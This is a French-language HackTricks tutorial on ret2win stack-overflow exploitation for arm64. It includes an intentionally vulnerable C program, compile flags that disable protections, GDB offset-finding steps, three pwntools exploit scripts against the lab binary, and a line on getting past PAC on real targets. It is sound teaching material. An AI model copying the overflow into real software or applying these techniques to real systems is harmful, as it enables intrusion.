Ret2win - arm64

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Trouvez une introduction à arm64 dans :

Introduction to ARM64v8

Code

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compiler sans pie et canary:

bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Le drapeau supplémentaire -mbranch-protection=none désactive AArch64 Branch Protection (PAC/BTI). Si votre chaîne d'outils active par défaut PAC ou BTI, cela permet de garder le labo reproductible. Pour vérifier si un binaire compilé utilise PAC/BTI, vous pouvez :
  • Cherchez les propriétés GNU AArch64 :
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Inspectez les prologues/épilogues pour paciasp/autiasp (PAC) ou pour des landing pads bti c (BTI) :
  • objdump -d ret2win | head -n 40

Faits rapides sur la convention d'appel AArch64

  • Le registre de lien est x30 (a.k.a. lr), et les fonctions sauvegardent typiquement x29/x30 avec stp x29, x30, [sp, #-16]! et les restaurent avec ldp x29, x30, [sp], #16; ret.
  • Cela signifie que l'adresse de retour sauvegardée se trouve à sp+8 relative à la base de frame. Avec un char buffer[64] placé en dessous, la distance d'écrasement habituelle vers le x30 sauvegardé est de 64 (buffer) + 8 (x29 sauvegardé) = 72 octets — exactement ce que nous trouverons ci‑dessous.
  • Le pointeur de pile doit rester aligné sur 16 octets aux frontières de fonction. Si vous construisez des ROP chains plus tard pour des scénarios plus complexes, conservez l'alignement du SP sinon vous pourriez planter sur les épilogues de fonction.

Trouver l'offset

Option pattern

Cet exemple a été créé en utilisant GEF:

Démarrez gdb avec gef, créez le pattern et utilisez‑le :

bash
gdb -q ./ret2win
pattern create 200
run

arm64 va essayer de retourner à l'adresse contenue dans le registre x30 (qui a été compromis), nous pouvons utiliser cela pour trouver le pattern offset :

bash
pattern search $x30

L'offset est 72 (9x48).

Stack offset option

Commencez par obtenir l'adresse de la stack où le registre pc est stocké:

bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Placez maintenant un breakpoint après le read() et continuez jusqu'à l'exécution du read(), puis définissez un pattern tel que 13371337 :

b *vulnerable_function+28
c

Trouvez où ce motif est stocké en mémoire :

Ensuite : 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Régulier

Obtenir l'adresse de la fonction win :

bash
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

En réalité, il s'agit plutôt d'un off-by-2 dans le PC stocké sur la stack. Au lieu d'écraser l'intégralité du return address, nous allons écraser seulement les 2 derniers octets avec 0x06c4.

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Vous pouvez trouver un autre exemple off-by-one sur ARM64 à https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, qui est un vrai off-by-one dans une vulnérabilité fictive.

Avec PIE

tip

Compilez le binaire sans l'argument -no-pie

Off-by-2

Sans leak nous ne connaissons pas l'adresse exacte de la fonction win mais nous pouvons connaître l'offset de la fonction dans le binaire et, sachant que l'adresse de retour que nous écrasons pointe déjà vers une adresse proche, il est possible de leak l'offset vers la fonction win (0x7d4) dans ce cas et d'utiliser simplement cet offset :

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Notes sur le durcissement moderne AArch64 (PAC/BTI) et ret2win

  • Si le binaire est compilé avec AArch64 Branch Protection, vous pouvez voir paciasp/autiasp ou bti c émis dans les prologues/épilogues de fonction. Dans ce cas :
  • Le retour vers une adresse qui n'est pas un BTI landing pad valide peut provoquer un SIGILL. Préférez cibler l'entrée exacte de la fonction qui contient bti c.
  • Si PAC est activé pour les retours, des overwrites naïfs de l'adresse de retour peuvent échouer parce que l'épilogue authentifie x30. Pour des scénarios d'apprentissage, recompilez avec -mbranch-protection=none (montré ci‑dessus). Lors d'attaques sur des cibles réelles, privilégiez des détournements sans retour (par ex., overwrite de pointeurs de fonction) ou construisez un ROP qui n'exécute jamais une paire autiasp/ret qui authentifie votre LR forgé.
  • Pour vérifier rapidement les features :
  • readelf --notes -W ./ret2win et cherchez les notes AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC.
  • objdump -d ./ret2win | head -n 40 et cherchez bti c, paciasp, autiasp.

Exécution sur hôtes non‑ARM64 (astuce rapide qemu‑user)

Si vous êtes sur x86_64 mais voulez vous entraîner sur AArch64:

bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Pages HackTricks associées

Ret2syscall - ARM64

Ret2lib + Printf leak - arm64

Références

  • Activation de PAC et BTI sur AArch64 pour Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Standard d'appel de procédures pour l'architecture Arm 64 bits (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks